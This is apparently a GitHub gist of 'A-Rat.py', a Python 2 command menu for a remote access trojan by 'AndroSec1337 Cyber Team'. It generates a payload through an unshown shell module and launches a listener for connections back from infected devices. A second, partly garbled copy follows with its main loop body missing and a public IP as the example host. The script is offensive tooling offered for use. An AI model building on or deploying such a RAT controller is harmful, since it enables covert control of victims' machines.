Open
Conversation
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys, subprocess
from time import sleep
os.system("clear")
reload(sys)
sys.setdefaultencoding("utf-8")
host = " "
port = " "
output = " "
def logo():
print("""
\t _____ ____ _____ _______
\t /$$$$$\ |$$$$\ /$$$$$\ $$$$$$$
\t |$ $| ____ |$ $| |$ $| $|
\t |$$$$$| $$$$ |$$$$/ |$$$$$| $|
\t |$ $| |$ $\ |$ $| $|
\t |$ $| |$ $\ |$ $| $|
\t [*] Versions : 1.0.0
\t [*] Coded By ./Xi4u7
\t [*] AndroSec1337 Cyber Team
""")
def help():
print("""
Commands :
set HOST : Set Your Host (e.g set HOST 127.0.0.1)
set PORT : Set Your Port (e.g set PORT 1337)
set OUTPUT : Set Your Output Name And Path (e.g set OUTPUT /home/payload)
show values : Show Host, Port And Output Value
start listener : Start Your Conection Server
Please Report This bug To My FB
FB : https://m.facebook.com/sefina.dewi
FP : https://m.facebook.com/androsec1337cyberteam\n""")
def main():
global host, port, output
while True:
cmd = raw_input("[*] A-Rat@AndroSec1337:~# ").lower()
if cmd == "help":
help()
elif cmd == 'banner':
os.system("clear")
logo()
main()
elif "clear" in cmd:
os.system("clear")
elif "set host" in cmd:
host = cmd.split()[-1]
elif "set port" in cmd:
port = int(cmd.split()[-1])
elif "set output" in cmd:
output = cmd.split()[-1]
elif cmd == "show values":
print "\n[+] HOST : %s\n[+] PORT : %s\n[+] OUTPUT : %s\n"%(host, port,output)
elif cmd == "generate payload" or cmd == "generate":
if host != " " and port != " " and output != " ":
print("[+] Generating Payload . . .")
sleep(1)
print("[*] Using Configuration . . .\n |_ HOST : "+host+"\n |_ PORT : "+str(port)+"\n |_ OUTPUT : "+output)
sleep(3)
os.system("sh modules/gen.sh "+host+" "+str(port)+" "+output)
print("[+] Generating Success . . .")
sleep(1)
main()
else:
print "\n[!] HOST : %s\n[!] PORT : %s\n[!] OUTPUT : %s\n"%(host,port,output)
elif cmd == "start" or cmd == "run" or cmd == "start listener":
if host != " " and port != " ":
if os.name == "nt":
subprocess.Popen([sys.executable, 'modules/listener.py', host, str(port)], creationflags=subprocess.CREATE_NEW_CONSOLE)
else:
os.system(sys.executable + " modules/listener.py %s %s"%(host, str(port)))
else:
print "\n[!] Host : %s\n[!] Port : %s\n"%(host,port)
else:
print("[!] Check Your Command . . .")
main()
def contol():
try:
logo()
main()
except KeyboardInterrupt:
print("\n[!] CTRL+C Detect Exiting Tools . . .")
sleep(2)
sys.exit()
if __name__ == "__main__":
contol()
Author
|
A-Rat.py |
Author
|
Acesess |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
#!/usr/bin/env python
-- coding: utf-8 --
import os, sys, subprocess
from time import sleep
os.system("clear")
reload(sys)
sys.setdefaultencoding("utf-8")
host = " "
port = " "
output = " "
def logo():$| ____ |$ $| |$ $| $ |$| |$ $\ |$ $| $ |$| |$ $\ |$ $| $ |
print("""
\t _____ ____ _____ _______
\t /$$$$$\ |$$$$\ /$$$$$\ $$$$$$$
\t |$
\t |$$$$$| $$$$ |$$$$/ |$$$$$| $|
\t |$
\t |$
\t [] Versions : 1.0.0
\t [] Coded By ./Xi4u7
\t [*] AndroSec1337 Cyber Team
""")
def help():
print("""
Commands :
set HOST : Set Your Host (e.g set HOST 116.206.15.44)
set PORT : Set Your Port (e.g set PORT 1337)
set OUTPUT : Set Your Output Name And Path (e.g set OUTPUT /home/payload)
show values : Show Host, Port And Output Value
start listener : Start Your Conection Server
Please Report This bug To My FB
FB : https://m.facebook.com/lovwyne
FP : https://m.facebook.com/androsec1337cyberteam\n""")
def main():
global host, port, output
def contol():
try:
logo()
main()
except KeyboardInterrupt:
print("\n[!] CTRL+C Detect Exiting Tools . . .")
sleep(2)
sys.exit()
if name == "main":
contol()